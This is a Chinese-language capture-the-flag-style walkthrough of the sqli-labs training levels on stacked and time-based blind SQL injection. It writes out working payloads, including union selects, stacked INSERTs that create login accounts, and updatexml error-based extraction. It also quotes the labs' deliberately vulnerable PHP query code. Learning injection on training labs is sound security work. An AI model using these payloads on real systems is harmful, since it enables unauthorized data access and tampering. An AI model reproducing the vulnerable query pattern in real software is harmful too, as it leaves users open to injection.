目录
less-43-堆叠注入-POST-写入数据-单引号+括号闭合
less-44-堆叠注入-POST-写入数据-单引号闭合-无报错
less-45-堆叠注入-POST-写入数据-单引号+括号闭合-无报错
less-52-堆叠注入、time盲注-GET-整形闭合-无报错
less-53-堆叠注入、time盲注-GET-单引号闭合-无报错
联合查询就直接出来了?
id=-1' union select 1,database(),3--+
关键源码:
- $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
-
- if (mysqli_multi_query($con1, $sql))
-
- print_r(mysqli_error($con1));
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
执行多条代码:
id=-1';insert into users(id,username,password)values(55,'123','312');--+
可见已经成功执行:
和less-38一样只是闭合方式不同。
和less-39一样只是闭合方式不同,而且没有报错信息。
和less-40一样只是闭合方式不同。
用堆叠注入写进数据库一个用户和密码。
在password输入1'报错了,存在注入点,闭合方式是单引号:
我们不知道用户和密码在哪一个表里面,这里有报错看看能不能用报错注入查到:
答案是可以的,这里就不演示了。
查到在users表里面,这里也可以直接用报错注入查数据库里面的用户和密码,但是还是用一下堆叠注入吧。
在users表里面添加username,password分别为test,123456
login_user=&login_password=1' ;insert into users(username,password) values('test','123456')--+ &mysubmit=Login
然后用用户密码成功登陆:
关键源码:
- $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
- $password = $_POST["login_password"];
- $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
- if (@mysqli_multi_query($con1, $sql))
- print_r(mysqli_error($con1));
和less42一样只是闭合方式不同。
和less-42关一样只是没有了报错信息。
和less-43关一样只是没有了报错信息。
输入sort=1正常,sort=1'和1'都报错,所以是整形闭合。有报错信息直接用报错注入。
sort=1 and updatexml(1,concat(0x7e, (select @@version),0x7e),1)--+
关键源码:
- $sql = "SELECT * FROM users ORDER BY $id";
- $result = mysql_query($sql);
- print_r(mysql_error());
原sql语句只有order by后面的参数是我们可控的,所以sort=1的意思就是以第一列数据也就是ID进行排序。输入sort=2就是以第二列也就是username进行排序。输入sort=3就是以第三列也就是password进行排序。输入sort=4发现会报错,因为根本没有第四列数据,这也是order by为什么能作为判断字段数的原因。
和less-46一样只是闭合方式不同。
sort=1'and updatexml(1,concat(0x7e, (select @@version),0x7e),1)--+
输入
- sort=1 and 1=1 --+
- sort=1 and 1=2 --+
回显一样 ,所以不能用bool盲注,用time盲注。
和less-47一样只是没有报错,用time盲注。
- sort=1 and updatexml(1,concat(0x7e, (select @@version),0x7e),1)--+
- sort=1 and updatexml(1,concat(0x7e, (select @@version),0x7e),1);
- $sql="SELECT * FROM users ORDER BY $id";
- /* execute multi query */
- if (mysqli_multi_query($con1, $sql))
- print_r(mysqli_error($con1));
使用堆叠注入创建用户:
sort=1; insert into users(id,username,password)values(18,'test','test')
和less-50一样只是闭合方式不同。
堆叠注入:
sort=1; insert into users(id,username,password)values(19,'test','test')--+
和less52一样只是闭合方式不同。